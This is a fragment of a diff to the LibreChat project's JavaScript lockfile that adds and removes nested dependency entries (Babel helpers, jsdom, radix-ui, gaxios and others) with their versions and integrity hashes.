- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "@librechat/frontend/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
-
- "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-jsx/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-pure-annotations/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+ "@librechat/backend/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
"@librechat/frontend/@react-spring/web/@react-spring/shared/@react-spring/rafz": ["@react-spring/rafz@9.7.5", "", {}, "sha512-5ZenDQMC48wjUzPAm1EtwQ5Ot3bLIAwwqP2w2owG5KoNdNHpEJV263nGhCeKKmuA3vG2zLLOdu3or6kuDjA6Aw=="],
@@ -8177,46 +7931,38 @@
"@librechat/frontend/@testing-library/jest-dom/chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
- "@librechat/frontend/jest-environment-jsdom/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/cssstyle": ["cssstyle@2.3.0", "", { "dependencies": { "cssom": "~0.3.6" } }, "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/data-urls": ["data-urls@3.0.2", "", { "dependencies": { "abab": "^2.0.6", "whatwg-mimetype": "^3.0.0", "whatwg-url": "^11.0.0" } }, "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/html-encoding-sniffer": ["html-encoding-sniffer@3.0.0", "", { "dependencies": { "whatwg-encoding": "^2.0.0" } }, "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/http-proxy-agent": ["http-proxy-agent@5.0.0", "", { "dependencies": { "@tootallnate/once": "2", "agent-base": "6", "debug": "4" } }, "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/nwsapi": ["nwsapi@2.2.7", "", {}, "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/tough-cookie": ["tough-cookie@4.1.3", "", { "dependencies": { "psl": "^1.1.33", "punycode": "^2.1.1", "universalify": "^0.2.0", "url-parse": "^1.5.3" } }, "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/w3c-xmlserializer": ["w3c-xmlserializer@4.0.0", "", { "dependencies": { "xml-name-validator": "^4.0.0" } }, "sha512-d+BFHzbiCx6zGfz0HyQ6Rg69w9k19nviJspaj4yNscGjrHu94sVP+aRm75yEbCh+r2/yR+7q6hux9LVtbuTGBw=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-encoding": ["whatwg-encoding@2.0.0", "", { "dependencies": { "iconv-lite": "0.6.3" } }, "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-mimetype": ["whatwg-mimetype@3.0.0", "", {}, "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-url": ["whatwg-url@11.0.0", "", { "dependencies": { "tr46": "^3.0.0", "webidl-conversions": "^7.0.0" } }, "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/xml-name-validator": ["xml-name-validator@4.0.0", "", {}, "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw=="],
-
"@mcp-ui/client/@modelcontextprotocol/sdk/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
+ "@mcp-ui/client/@modelcontextprotocol/sdk/express/body-parser": ["body-parser@2.2.0", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.0", "http-errors": "^2.0.0", "iconv-lite": "^0.6.3", "on-finished": "^2.4.1", "qs": "^6.14.0", "raw-body": "^3.0.0", "type-is": "^2.0.0" } }, "sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg=="],
+
+ "@mcp-ui/client/@modelcontextprotocol/sdk/express/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"@node-saml/passport-saml/@types/express/@types/express-serve-static-core/@types/qs": ["@types/qs@6.9.17", "", {}, "sha512-rX4/bPcfmvxHDv0XjfJELTTr+iB+tn032nPILqHm5wbthUUUuVtNGGqzhya9XUxjTP8Fpr0qYgSZZKxGY++svQ=="],
+ "@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
"@radix-ui/react-arrow/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
+ "@radix-ui/react-portal/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
+
"@radix-ui/react-progress/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Y9VzoRDSJtgFMUCoiZBDVo084VQ5hfpXxVE+NgkdNsjiDBByiImMZKKhxMwCbdHvhlENG6a833CbFkOQvTricw=="],
"@radix-ui/react-tabs/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
"@radix-ui/react-tabs/@radix-ui/react-roving-focus/@radix-ui/react-collection/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="],
+ "@vitejs/plugin-react/@babel/core/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/@babel/compat-data": ["@babel/compat-data@7.29.0", "", {}, "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helper-module-transforms/@babel/helper-module-imports": ["@babel/helper-module-imports@7.28.6", "", { "dependencies": { "@babel/traverse": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw=="],
+
+ "body-parser/raw-body/http-errors/statuses": ["statuses@2.0.2", "", {}, "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw=="],
+
"cli-truncate/string-width/strip-ansi/ansi-regex": ["ansi-regex@6.1.0", "", {}, "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA=="],
"colorspace/color/color-convert/color-name": ["color-name@1.1.3", "", {}, "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw=="],
@@ -8225,6 +7971,8 @@
"expect/jest-message-util/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
+ "expect/jest-util/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
+
"express-static-gzip/serve-static/send/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="],
"express-static-gzip/serve-static/send/encodeurl": ["encodeurl@1.0.2", "", {}, "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w=="],
@@ -8233,11 +7981,11 @@
"express-static-gzip/serve-static/send/mime": ["mime@1.6.0", "", { "bin": "cli.js" }, "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="],
- "google-auth-library/gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
+ "gcp-metadata/gaxios/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
- "googleapis-common/gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
+ "gcp-metadata/gaxios/https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
- "gtoken/gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
+ "glob/minimatch/brace-expansion/balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="],
"jest-changed-files/execa/onetime/mimic-fn": ["mimic-fn@2.1.0", "", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="],
@@ -8245,76 +7993,12 @@
"jest-config/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="],
- "jest-mock/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
-
"jest-runtime/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
"jest-runtime/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="],
- "jest-util/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
-
"jsdom/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
- "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
